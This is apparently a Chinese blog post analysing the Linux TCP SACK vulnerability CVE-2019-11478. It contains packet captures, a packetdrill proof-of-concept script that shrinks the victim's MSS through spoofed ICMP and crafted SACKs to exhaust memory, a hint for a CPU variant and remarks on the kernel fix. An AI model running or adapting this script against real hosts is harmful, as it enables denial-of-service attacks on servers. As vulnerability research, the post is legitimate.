08:22:21.318731 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 865:873, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.318733 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 873:881, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.318735 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 881:889, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:22:21.318736 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 889:897, ack 11, win 252, options [nop,nop,TS val 3191361 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
08:23:12.719446 IP 192.168.33.130.webcache > 192.0.2.1.58328: Flags [.], seq 37:45, ack 11, win 252, options [nop,nop,TS val 3242762 ecr 100,nop,nop,sack 3 {61:71}{41:51}{21:31}], length 8: HTTP
# … 继续下去,所有包都将会被切割成8,算下内存

以上的抓包来自于下面的packetdrill脚本:

// 下面这个不知道为什么没有失效...
+0 `ip route replace 192.0.2.0/24 via 192.168.0.1 dev tun0 cwnd 100`
+0   socket(..., SOCK_STREAM, IPPROTO_TCP) = 3
+0  setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0+0  bind(3, ..., ...) = 0
+0  listen(3, 1) = 0// 初始mss要大,这样积累数据比较快,注意该EXP不需要分散聚集IO写
+0  < S 0:0(0) win 32792 <mss 1460,sackOK,TS val 100 ecr 0,nop,wscale 7>
+0  > S. 0:0(0) ack 1 <...>+0 < . 1:1(0) ack 1 win 257
+0  accept(3, ..., ...) = 4// 写入足够的数据
+0  write(4, ..., 14480) = 14480// 攻击者发送空洞数据,诱导被攻击侧发送3段sack,占据mss空间
+0 < . 1:11(10) ack 1 win 257
+0 < . 21:31(10) ack 1 win 257
+0 < . 41:51(10) ack 1 win 257
+0 < . 61:71(10) ack 1 win 257// 以100为mtu构造ICMP,但实际上会被归整到552,并非就是100,更不会是88,怎么办呢?
+0 < icmp unreachable frag_needed mtu 100 [1:1461(1460)]// 根据rto估计,模拟几轮退避,然后TCP会二分减少mtu以探测新的mtu。
// 当mss退避到48时,稍微推进una 8字节那么大,表示48的mss正合适。
// 注意,此时48里面包括26字节的3段sack,10字节的时间戳,4字节的对齐nop,剩余8字节raw data
+53.1 < . 1:1(0) ack 37 win 257 <sack 73:217,nop,nop>// 此时的mss已经成了48(其实是32,但是tcp要求最小是48)
+0 < . 71:71(0) ack 37 win 257 <sack 73:217,nop,nop>// 往后就爽了:
// 1. 被攻击侧不断切割并重传8字节skb,分配了内存
// 2. 攻击者不断sack重传的8字节skb,但就是una留洞,以清空inflight
// 3. 被攻击侧发送数据被sack,cwnd空间被清空,继续重传。
// gg
+1.65 < . 71:71(0) ack 37 win 257 <sack 57:501,nop,nop>
+0.65 < . 71:71(0) ack 37 win 257 <sack 45:513,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:537,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:577,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:617,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:657,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:697,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:737,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:777,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:817,nop,nop>
+0.2 < . 71:71(0) ack 37 win 257 <sack 45:857,nop,nop>
...

注意,我上面的脚本没有关于CPU的玩法,其实很简单,不断发送覆盖足够多skb的sack段即可。比如:

<sack 45:1000 1007:3000 3009:...>

想用这个脚本实施攻击?太天真,至少你要搞成scapy啊。另外,难点还在,你要学点反射攻击的东西,寻找蜜罐棺材肉鸡什么的。

话说4.15后,红黑树解放了重传队列,然而内存问题依然存在!这是TCP的 基于字节的流式特征 性质和实现决定的。


社区在修复Sack Panic时,一并修复了这个,然而天网恢恢的策略却无意打击了善者。这个就不多说了,详情参见:https://lore.kernel.org/netdev/20190617170354.37770-3-edumazet@google.com/

其实,我以为,有更加直接且简单的修复方案,这个和CVE-2019-11479有关,参见这个patch:
https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001/PATCH_net_3_4.patch
基本就限制了最小mss的上限,所以只需要sysctl配置一个足够安全的即可,低于这个值,断就断了,无所谓了。

本质都是小mss的锅,就让它自己扛好了。另外,本来sack就是为了优化吞吐性能的,如果mss太小,注定性能不会高,中途搞掉它又如何。只是,知音少,弦断有谁听,特做笔记一篇。


顺便说一句,真的,真的是绝大多数人(特别是那些自带光环的公司,业务和用户让所有人无暇他顾)都不懂细节,连Why都不懂却较真儿细节中的细节,拿着代码说事,却不知道这段代码的含义…

不说了,最后献上一首歌,温州皮鞋厂老板原创:

正在播放《皮鞋湿,不会胖》
━━━●━━━─────── 2:07
⇆ ㅤㅤ◁ ㅤㅤ❚❚ ㅤㅤ▷ ㅤㅤ

浙江温州皮鞋湿,下雨进水不会胖。

CVE-2019-11478 Sack SlownessExcess Resource Usage漏洞解析与利用相关推荐

  1. CVE(Common Vulnerabilities and Exposures通用漏洞披露)笔记

    产生背景:目前实时入侵检测和漏洞扫描评估基于的主要方法还是"已知入侵手法检测"和"已知漏洞扫描",即基于知识库的技术,因此决定一个IDnA(Intrusion ...

  2. linux内核系列远程拒绝服务漏洞,预警 | Linux 爆“SACK Panic”远程DoS漏洞,大量主机受影响...

    近日,腾讯云安全中心监测到Linux 内核被曝存在TCP "SACK Panic" 远程拒绝服务漏洞(漏洞编号:CVE-2019-11477,CVE-2019-11478,CVE- ...

  3. Quartz_2.2.X学习系列十:Tutorials - Lesson 10: Configuration, Resource Usage and SchedulerFactory

    第10课小结: 在Quartz完成其工作之前需要配置的主要组件是: • ThreadPool • JobStore • DataSources (if necessary) • The Schedul ...

  4. Android Parcelable反序列化漏洞分析与利用

    文章目录 前言 背景知识 Parcelable序列化 Bundle的数据结构 LaunchAnyWhere CVE-2017-13288 漏洞利用原理解析 POC程序攻击演示 CVE-2017-133 ...

  5. CVE-2013-2551漏洞成因与利用分析(ISCC2014 PWN6)

    CVE-2013-2551漏洞成因与利用分析 1. 简介 VUPEN在Pwn2Own2013上利用此漏洞攻破了Win8+IE10,5月22日VUPEN在其博客上公布了漏洞的细节.它是一个ORG数组整数 ...

  6. thinkphp漏洞_【组件攻击链】ThinkCMF 高危漏洞分析与利用

    一.组件介绍 1.1 基本信息 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架.ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形 ...

  7. launchAnyWhere: Activity组件权限绕过漏洞解析

    前言 今年3月份,知名反病毒软件公司卡巴斯基实验室发布了一份关于中国电商平台拼多多的调查报告,称该平台的安装程序中含有恶意代码.这一消息引起了广泛的关注和讨论,也引发了人们对于拼多多平台安全性的担忧 ...

  8. 易想团购 注入 user.php,易想团购系统通杀SQL注入漏洞分析及利用漏洞预警 -电脑资料...

    刚打开红黑看到J8基友写的一个{易想团购系统 最新版 通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序, 找到get_client_ip()函数 ...

  9. c++ 界面交互影响处理代码执行速度_原创 | 某SCADA的远程代码执行漏洞挖掘与利用...

    作者 | 绿盟科技格物实验室 陈杰 前言 近年来网络安全形势日渐严峻,国内外都开始对工控安全越来越重视,而工控领域由于常年来对安全的忽视,导致暴露出数量惊人的严重安全漏洞,更为严重的是,相当一部分厂商 ...

最新文章

  1. php 进程 线程,php进程还是线程
  2. 201406114331-黄智涛-OS 实验报告
  3. springboot shiro和freemarker集成之权限控制完全参考手册(跳过认证,登录由三方验证,全网首发)...
  4. 高效地加载图片(一) 高效地加载大图
  5. KMP 串的模式匹配 (25 分)
  6. Java中的向下转型与向上转型
  7. Ubuntu18.04报错:make[1]: *** No rule to make target armv4-mont.o, needed by build-msm8916/lk. Stop.
  8. vue引入bootstrap.min.css报错:Cannot find module ./assets/css/bootstrap.min.css
  9. linux看不到boot分区,解决CentOS和Ubuntu /boot分区空间不足问题
  10. 书接上文——python实现感知分类器模型分类过程动态可视化
  11. MATLAB把型线图画静水力曲线,静水力曲线计算与绘制指导书
  12. 戴尔电脑装ubuntu报ACPI错误解决过程
  13. 工欲善其事,必先利其器——学会不将就,让自己事半功倍!
  14. 来我家玩吧服务器维护中,为什么来我家玩吧登录不了,来我家玩吧进不去怎么回事...
  15. pta 7-20 xrf的镜子碎了?
  16. K空间的理解 倒空间
  17. 怎样查找某个外文期刊的文献?
  18. 什么设备升级android9,三星升级Android 9 Pie设备公布:S9明年1月上线
  19. android 8 忘记图案,安卓手机忘记锁屏图案密码六种解决办法
  20. 改做人工智能之前,90%的人都没能给自己定位

热门文章

  1. 插件目标[置顶] Maven自定义绑定
  2. 安卓兼容7.0图库选择图片生成二维码
  3. win10 家庭版安装 docker报requires windows 10 pro/enterprise (15063+) or windows 10 home (19018+)
  4. 每日必读DZone Spring:Spring @Transactional 是如何真正工作的?
  5. 一分钟建立自己单位的故障报修平台
  6. [Java][Casssandra] create column family in Casssandra version 1.1.7
  7. ORAN C平面 Section Type 3
  8. Android通知栏—Notification(一)
  9. linux sub减法指令出错,sparc的指令的一些总结
  10. 虚拟机的安装、网关配置及安装man命令